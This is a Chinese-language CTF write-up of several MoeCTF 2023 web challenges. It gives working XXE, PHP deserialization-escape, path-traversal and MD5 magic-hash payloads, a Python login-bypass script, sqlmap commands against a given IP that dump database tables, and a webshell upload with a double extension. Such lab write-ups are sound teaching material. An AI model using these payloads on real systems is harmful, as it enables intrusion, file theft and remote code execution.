Moectf_2023_WP 了解你的座驾 F12查看源码,发现本题是XXE漏洞
我们要获取的是flag
于是利用xml外部实体注入,利用file协议读取文件
1 2 3 4 5 6 <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///flag" > ]> <root > <name > &xxe; </name > </root >
url编码后,可以解决
对flag那个界面打包后,
将 xml_content=后面的内容改为编码后的内容,发送请求,即可获得flag
XXE总结:XXE知识总结,有这篇就够了!_是叶十三的博客-CSDN博客
夺命十三枪 打开题目
发现有个Hanxin.exe.php(一点教训:一开始以为这个文件是隐藏的,所以没查看,以后做题应该都试一下能不能查看)
查看之后,发现这个是获得flag的关键
除此之外,这个文件里面还做了一件事,字符串替换,于是可以考虑反序列化字符逃逸
我们传chant的值,然后通过这个修改Spear_Owner的值,需要用到
1 ";s:11:" Spear_Owner";s:6:" MaoLei";}
这个字符串的长度是35,所以在字符串发生替换的时候,要增加35个长度以此来逃逸后面的";s:11:"Spear_Owner";s:6:"MaoLei";}
利用已知的字符串替换,构造出有效的payload
1 ?/chant=di_jiu_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:" Spear_Owner";s:6:" MaoLei";}
如果不利用字符串替换时字符串长度的增减变化,在反序列化时会发生错误(s的长度与内容不一致)导致无法修改Spear_Owner的值
总结:反序列化字符串逃逸利用的是字符串的替换(长度的变化), 的闭合从何实现反序列化的截断,从而修改对象里面的值
meo图床 这道题一开始以为是考文件上传,后面发现AntSword连不上,问了e神,说是目录穿越(目录遍历),于是查了一下。
一般发现目录遍历的漏洞的探针,也就是测试的时候往往是使用这样的payload
1 http:// www.xxxx.com/xxx.php?page=../ ../../ ../../ ../../ ../../ ../../ ../../ etc/passwd
发现上传一张正常的图片后有upload.php,尝试目录穿越,但是并没有回显
上传图片后有查看二字,点击之后发现有
http://localhost:53462/images.php?name=
这样的东西,于是尝试目录穿越
http://localhost:53462/images.php?name=../../../flag
F12查看并没有发现任何东西,于是burp抓包,发到Reapter,发送请求,发现一个文件
直接打开该文件,发现以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );if (isset ($_GET ['param1' ]) && isset ($_GET ['param2' ])) { $param1 = $_GET ['param1' ]; $param2 = $_GET ['param2' ]; if ($param1 !== $param2 ) { $md5Param1 = md5 ($param1 ); $md5Param2 = md5 ($param2 ); if ($md5Param1 == $md5Param2 ) { echo "O.O!! " . getenv ("FLAG" ); } else { echo "O.o??" ; } } else { echo "o.O?" ; } } else { echo "O.o?" ; }?>
发现是MD5绕过问题,有两种,一种是数组绕过,一种是碰撞绕过
数组绕过:
碰撞绕过:
**绕过原理**:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
下面是md5加密后0e开头的字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 QNKCDZO0 e830400451993494058024219903391 s878926199a0 e545993274517709034328855841020 s155964671a0 e342768416822451524974117254469 s214587387a0 e848240448830537924465865611904 s214587387a0 e848240448830537924465865611904 s878926199a0 e545993274517709034328855841020 s1091221200a0 e940624217856561557816327384675 s1885207154a0 e509367213418206700842008763514 s1502113478a0 e861580163291561247404381396064 s1885207154a0 e509367213418206700842008763514
利用数组绕过,得到flag
碰撞绕过也行
Signin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from secrets import users, saltimport hashlibimport base64import jsonimport http.serverwith open ("flag.txt" ,"r" ) as f: FLAG = f.read().strip()def gethash (*items ): c = 0 for item in items: if item is None : continue c ^= int .from_bytes(hashlib.md5(f"{salt} [{item} ]{salt} " .encode()).digest(), "big" ) return hex (c)[2 :]assert "admin" in usersassert users["admin" ] == "admin" hashed_users = dict ((k,gethash(k,v)) for k,v in users.items()) -----------eval (int .to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164 ^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153 ,160 ,"big" ,signed=True ).decode().translate({ord (c):None for c in "\x00" })) def decrypt (data:str ): for x in range (5 ): data = base64.b64encode(data).decode() return data __page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==" ) class MyHandler (http.server.BaseHTTPRequestHandler): def do_GET (self ): try : if self.path == "/" : self.send_response(200 ) self.end_headers() self.wfile.write(__page__) else : self.send_response(404 ) self.end_headers() self.wfile.write(b"404 Not Found" ) except Exception as e: print (e) self.send_response(500 ) self.end_headers() self.wfile.write(b"500 Internal Server Error" ) def do_POST (self ): try : if self.path == "/login" : body = self.rfile.read(int (self.headers.get("Content-Length" ))) payload = json.loads(body) params = json.loads(decrypt(payload["params" ])) print (params) if params.get("username" ) == "admin" : self.send_response(403 ) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!" ) print ("admin" ) return if params.get("username" ) == params.get("password" ): self.send_response(403 ) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!" ) print ("same" ) return hashed = gethash(params.get("username" ),params.get("password" )) for k,v in hashed_users.items(): if hashed == v: data = { "user" :k, "hash" :hashed, "flag" : FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}" } self.send_response(200 ) self.end_headers() self.wfile.write(json.dumps(data).encode()) print ("success" ) return self.send_response(403 ) self.end_headers() self.wfile.write(b"Invalid username or password" ) else : self.send_response(404 ) self.end_headers() self.wfile.write(b"404 Not Found" ) except Exception as e: print (e) self.send_response(500 ) self.end_headers() self.wfile.write(b"500 Internal Server Error" )if __name__ == "__main__" : server = http.server.HTTPServer(("" , 9999 ), MyHandler) server.serve_forever()
而传入参数有两个过滤,username不能等于“admin”,且username不能等于password,而拿到flag需要hashed值为0,怎么才能做到呢?
其实只需要传入“1”和1就可以绕过
从而得到hashed值为0,即可拿到flag,这里利用了json解析的特性,{“username”:1}中username的数据类型为int,而{“username”:”1”}中username的数据类型为str,所以在**==**比较中数据类型不同的值结果为False
而这条语句中会自动将不同的数据类型都转换为str类型,从而达到了我们预期的目的,构建一个python脚本,将发送的json数据base64加密五次就行,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsimport base64 url = "http://localhost:51662/login" username = "\"1\"" password = "1" jsondata = "{\"username\":" +f"{username} " +",\"password\":" +f"{password} " +"}" print (f"{jsondata = } " )for _ in range (5 ): jsondata = base64.b64encode(str (jsondata).encode()).decode() data = "{\"params\":\"" +f"{jsondata} \"" +"}" print (f"{data = } " ) req = requests.post(url=url,data=data).textprint (f"{req = } " )
出去旅游的心海 下一题的密码: moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}
发现个可以访问的
顺便总结一下发现一些隐藏的可访问页面
1)工具扫描:dirsearch,御剑
2)网络请求发现
内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__ );require_once ('/var/www/html/wordpress/' . 'wp-config.php' );$db_user = DB_USER; $db_password = DB_PASSWORD; $db_name = DB_NAME; $db_host = DB_HOST; $ip = $_POST ['ip' ];$user_agent = $_POST ['user_agent' ];$time = stripslashes ($_POST ['time' ]);$mysqli = new mysqli ($db_host , $db_user , $db_password , $db_name );if ($mysqli ->connect_errno) { echo '数据库连接失败: ' . $mysqli ->connect_error; exit (); }$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip ', '$user_agent ', $time )" ;$result = mysqli_query ($mysqli , $query );if ($result ) { echo '数据插入成功' ; } else { echo '数据插入失败: ' . mysqli_error ($mysqli ); }mysqli_close ($mysqli );
直接sqlmap
1 2 3 4 5 6 7 8 9 python sqlmap.py -u http:// 101.42 .178.83 :7770 /wordpress/ wp-content/plugins/ visitor-logging/logger.php/ ?id=1 --data time=1 python sqlmap.py -u http:// 101.42 .178.83 :7770 /wordpress/ wp-content/plugins/ visitor-logging/logger.php/ ?id=1 --data time=1 --dbs python sqlmap.py -u http:// 101.42 .178.83 :7770 /wordpress/ wp-content/plugins/ visitor-logging/logger.php/ ?id=1 --data time=1 -D wordpress --tables python sqlmap.py -u http:// 101.42 .178.83 :7770 /wordpress/ wp-content/plugins/ visitor-logging/logger.php/ ?id=1 --data time=1 -D wordpress -T secret_of_kokomi --columns python sqlmap.py -u http:// 101.42 .178.83 :7770 /wordpress/ wp-content/plugins/ visitor-logging/logger.php/ ?id=1 --data time=1 -D wordpress -T secret_of_kokomi -C content --dump
moe图床 F12查看源码发现script有upload.php这东西,查看该文件文件代码,并进行分析,重点是以下这个
这部分代码检查文件名后缀是否为png
。首先,通过使用explode()
函数将文件名按.
进行分割,然后检查第二个分割段是否为png
,如果不是,则返回错误消息。
既要确保第二部分是.png又要确保最后是.png
于是构造.png.php.png一句话木马文件,抓包后修改后缀
AntSword连接即可,然后在根目录下发现flag